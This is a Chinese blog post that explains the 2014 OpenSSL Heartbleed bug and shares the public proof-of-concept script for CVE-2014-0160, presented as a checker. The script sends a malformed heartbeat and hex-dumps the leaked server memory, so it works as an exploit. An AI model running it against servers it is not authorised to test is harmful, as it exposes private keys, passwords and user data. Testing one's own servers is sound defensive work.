一个检测OpenSSL心脏出血漏洞的Python脚本分享


Posted in Python onApril 10, 2014

什么是SSL?

SSL是一种流行的加密技术,可以保护用户通过互联网传输的隐私信息。网站采用此加密技术后,第三方无法读取你与该网站之间的任何通讯信息。在后台,通过SSL加密的数据只有接收者才能解密。

SSL最早在1994年由网景推出,1990年代以来已经被所有主流浏览器采纳。

什么是“心脏出血”漏洞?

SSL标准包含一个心跳选项,允许SSL连接一端的电脑发出一条简短的信息,确认另一端的电脑仍然在线,并获取反馈。研究人员发现,可以通过巧妙的手段发出恶意心跳信息,欺骗另一端的电脑泄露机密信息。受影响的电脑可能会因此而被骗,并发送服务器内存中的信息。

谁发现的这个问题?

该漏洞是由Codenomicon和谷歌安全部门的研究人员独立发现的。为了将影响降到最低,研究人员已经与OpenSSL团队和其他关键的内部人士展开了合作,在公布该问题前就已经准备好修复方案。

检测OpenSSL心脏出血漏洞的Python脚本

#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                 
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
 
def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay
def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False
        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True
        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False
def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break
    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)
if __name__ == '__main__':
    main()
Python 相关文章推荐
Python爬虫抓取代理IP并检验可用性的实例
May 07 Python
pyqt弹出新对话框,以及关闭对话框获取数据的实例
Jun 18 Python
python异常触发及自定义异常类解析
Aug 06 Python
浅谈Python3 numpy.ptp()最大值与最小值的差
Aug 24 Python
通过实例了解python property属性
Nov 01 Python
python科学计算之numpy——ufunc函数用法
Nov 25 Python
Python求平面内点到直线距离的实现
Jan 19 Python
Python实现ElGamal加密算法的示例代码
Jun 19 Python
python实现学生管理系统开发
Jul 24 Python
Python利用命名空间解析XML文档
Aug 10 Python
Python中Qslider控件实操详解
Feb 20 Python
python批量创建变量并赋值操作
Jun 03 Python
Python删除指定目录下过期文件的2个脚本分享
Apr 10 #Python
python实现随机密码字典生成器示例
Apr 09 #Python
Python下的Mysql模块MySQLdb安装详解
Apr 09 #Python
使用python实现递归版汉诺塔示例(汉诺塔递归算法)
Apr 08 #Python
python计算圆周长、面积、球体体积并画出圆
Apr 08 #Python
python实现类似ftp传输文件的网络程序示例
Apr 08 #Python
Python collections模块实例讲解
Apr 07 #Python
You might like
cache_lite试用
2007/02/14 PHP
发款php蜘蛛统计插件只要有mysql就可用
2010/10/12 PHP
PHP批量获取网页中所有固定种子链接的方法
2016/11/18 PHP
php递归函数怎么用才有效
2018/02/24 PHP
PHP设计模式(八)装饰器模式Decorator实例详解【结构型】
2020/05/02 PHP
javascript Firefox与IE 替换节点的方法
2010/02/24 Javascript
基于jquery &amp; json的省市区联动代码
2012/06/26 Javascript
node.js中的fs.futimesSync方法使用说明
2014/12/17 Javascript
解决jQuery上传插件Uploadify出现Http Error 302错误的方法
2015/12/18 Javascript
JavaScript实现简单评论功能
2017/08/17 Javascript
JS计算距当前时间的时间差实例
2017/12/29 Javascript
Vue+jquery实现表格指定列的文字收缩的示例代码
2018/01/09 jQuery
JS复杂判断的更优雅写法代码详解
2018/11/07 Javascript
关于vue里页面的缓存详解
2019/11/04 Javascript
解决vue cli4升级sass-loader(v8)后报错问题
2020/07/30 Javascript
react antd表格中渲染一张或多张图片的实例
2020/10/28 Javascript
浅析Python中的多进程与多线程的使用
2015/04/07 Python
Python实现大文件排序的方法
2015/07/10 Python
详解Django中Request对象的相关用法
2015/07/17 Python
Python批处理删除和重命名文件夹的实例
2018/07/11 Python
使用Python实现在Windows下安装Django
2018/10/17 Python
解决pycharm运行出错,代码正确结果不显示的问题
2018/11/30 Python
如何用Python做一个微信机器人自动拉群
2019/07/03 Python
Python3标准库之functools管理函数的工具详解
2020/02/27 Python
CSS3 input框的实现代码类似Google登录的动画效果
2020/08/04 HTML / CSS
荷兰本土平价百货:HEMA
2017/10/23 全球购物
中软Java笔试题
2012/11/11 面试题
《可爱的动物》教学反思
2014/02/22 职场文书
2014年煤矿安全工作总结
2014/12/04 职场文书
阿凡达观后感
2015/06/10 职场文书
2015重阳节座谈会主持词
2015/07/30 职场文书
汶川大地震感悟
2015/08/10 职场文书
2016年三严三实党课学习心得体会
2016/01/06 职场文书
新课程改革心得体会
2016/01/22 职场文书
2016年学校招生广告语
2016/01/28 职场文书
浅谈Java父子类加载顺序
2021/08/04 Java/Android